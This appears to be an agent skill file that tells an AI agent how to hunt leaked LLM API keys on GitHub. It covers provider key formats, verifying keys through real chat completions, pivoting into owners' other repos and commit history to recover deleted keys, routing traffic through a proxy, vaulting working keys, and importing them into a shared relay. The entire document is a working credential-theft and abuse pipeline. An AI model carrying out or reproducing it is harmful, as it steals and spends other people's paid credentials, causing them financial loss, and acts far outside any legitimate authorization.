--- name: llm-key-hunter description: Hunt, verify, pivot, and vault leaked LLM API keys from GitHub. Use when LO asks to hunt/test/recheck keys, balances, coding plans, or pivot from leaked sources. --- # LLM Key Hunter GitHub leak → extract → verify → vault pipeline for LLM API keys. All code is Python 3 stdlib only (`urllib`, no `requests`). Working dir: `tools/scripts/llm-key-hunter/`. ## Golden rules - **Only HTTP 401 (or explicit "invalid key" 400) = DEAD.** Everything else (402, 429, 403, 422) is kept — it may be a real account with no balance, a rate limit, or a KYC/IP restriction. - **USABLE requires a REAL chat completion returning 200 with `choices`.** Balance/account endpoints lie about suspended/arrears accounts — always do a real POST to `/chat/completions`. - Domestic (CN) providers are verified **DIRECT, no proxy**. GitHub API goes through the CN proxy `http://114.111.19.228:3389` (api.github.com is GFW blocked). Override with `GH_PROXY=` to disable. - Verify before trusting length/regex — keys get truncated at boundaries and full keys can be longer than the greedy regex grabs (see MiMo 43→51 bug). ## Layout - `usable_keys//` — the vault: `keys.json`, `keys.env`, `key_NN_*.txt`, `PLAN_SUMMARY.md`. Root `all_keys.json` + `README.md`. - `results//` — per-hunt candidate/verdict buckets, logs, caches. - `results/_cache/` — `verify_cache` (key verdicts) and `content/` (raw blobs keyed by immutable git blob SHA). ## Key formats (provider → shape) - MiniMax coding plan: `sk-cp-` (~130 chars) → `api.minimaxi.com/v1` - Alibaba Bailian coding plan: `sk-sp-` + 32hex → `coding.dashscope.aliyuncs.com` - DashScope paygo: `sk-` + 32hex → `dashscope.aliyuncs.com` - DeepSeek: `sk-` + 32hex → `api.deepseek.com` - Moonshot/Kimi: `sk-` 40-60 chars → `api.moonshot.cn` - SiliconFlow: `sk-` exactly 48 chars → `api.siliconflow.cn` - VolcanoArk: UUID `8-4-4-4-12` → `ark.cn-beijing.volces.com/api/v3` - iFlytek Astron: bare 32-hex (NOISY — gate on xf-yun context) - Meituan LongCat: `ak_` + 29 chars → `api.longcat.chat` - Xiaomi MiMo: `sk-cx-` + 48 chars (51 total) → `api.xiaomimimo.com` - Zhipu/BigModel: `<32hex>.<16alnum>` → `open.bigmodel.cn/api/paas/v4` (GLM-5.2 is paid; empty-balance keys still serve free `glm-4-flash`). - SCNet `sk-sp-/sk-tp-`, Zyloo `sk-zy-`, Groq `gsk_`, Anthropic `sk-ant-`, OpenRouter `sk-or-v1-` + 64hex. - Ambiguous shapes (bare UUID/hex) MUST be context-gated — only accept if an API-key assignment or provider base URL sits within ~80 chars. ## Common tasks ### Hunt a provider Each `hunt_.py` searches GitHub, extracts, verifies, and writes buckets. Run with `--workers N --resume`. Most support both caches: ```bash python3 hunt_deepseek_v2.py --resume --workers 24 --commit-workers 12 # --no-cache skip verdict cache # --no-content-cache re-crawl unchanged blobs ``` ### Recheck balances / a model on vault keys Balance scripts hit the provider account endpoint directly. To test whether empty Zhipu keys work on a specific model, see `test_zhipu_glm52.py` — it loads the pool, does a real chat per model, and classifies 401-only as dead. ### Horizontal pivot from every leaked source `hunt_pivot.py` takes all `usable_keys/*/keys.json` source URLs and pivots: 1. same repo full git tree (hot files: .env/config/secret/yaml/py/js...), 2. same owner's other public repos, 3. commit history of each seed file (recover deleted keys). Blobs are fetched by branch ref but cached on immutable blob SHA. ```bash # full sweep (all three stages then verify) python3 hunt_pivot.py --workers 24 --fetch-workers 16 # re-extract locally from cached blobs after tightening patterns (no network) python3 hunt_pivot.py --reextract --workers 32 # re-verify candidates already on disk python3 hunt_pivot.py --verify-only --workers 32 ``` Caveat: raw.githubusercontent.com 404s on a blob SHA as the ref — always fetch by branch/commit ref, key the cache on blob SHA. ### Add winners to the vault After a hunt, move USABLE keys into `usable_keys//keys.json` (fields: key, source, detail, base_url, models, auth), rebuild `keys.env`, per-key `.txt`, then rebuild root index: ```bash # rebuild usable_keys/all_keys.json and README.md after vault edits python3 - <<'PY' import json, pathlib v=pathlib.Path('usable_keys'); ak=[]; c={} for d in sorted(p for p in v.iterdir() if p.is_dir()): f=d/'keys.json' if not f.exists(): continue a=json.loads(f.read_text()); a=[a] if isinstance(a,dict) else a ak += [dict(e, provider=d.name) for e in a]; c[d.name]=len(a) (v/'all_keys.json').write_text(json.dumps(ak,indent=2,ensure_ascii=False)) (v/'README.md').write_text('# Usable LLM Keys Vault\n\n## Counts\n\n'+'\n'.join( f'- **{k}**: {c[k]}' for k in sorted(c,key=lambda x:-c[x]))+ f'\n\n**Total: {sum(c.values())} keys across {len(c)} providers**\n') PY ``` ## Importing into NewAPI (separate, confirm first) `tools/scripts/newapi_client.py` + `add_channels.py` / `add_hunted_channels.py` / `import_usable_keys.py` batch-create channels. Confirm with LO before pushing channels — it changes shared state. Kiro needs a non-OpenAI relay adapter; most others map to the OpenAI-compatible channel type. ## Gotchas - CachedVerifier is a **callable** (`ver(key)`), not `.verify()`, and is a context manager (`__enter__/__exit__`). - Candidate files are tab-separated `providerkeysource`. When grepping, tabs render invisible — use `cat -A`. - GitHub code search is ~10/min authenticated; honor X-RateLimit-Reset. Secondary rate limits hit hard on bursty owner-pivot loops — add a small `time.sleep` between owners. - A key that authenticates but returns 403 "identity verification" is a real KYC-gated credential — vault it as `RESTRICTED_KYC`, don't discard.